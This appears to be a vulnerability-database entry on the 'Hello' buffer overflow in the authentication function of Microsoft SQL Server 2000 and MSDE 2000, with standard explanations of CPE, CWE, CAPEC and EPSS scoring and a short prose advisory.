CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Buffer overflow in the authentication function for Microsoft SQL Server 2000 and Microsoft Desktop Engine (MSDE) 2000 allows remote attackers to execute arbitrary code via a long request to TCP port 1433, aka the "Hello" overflow.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.
It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.
This vulnerability reportedly occurs even before authentication can proceed.
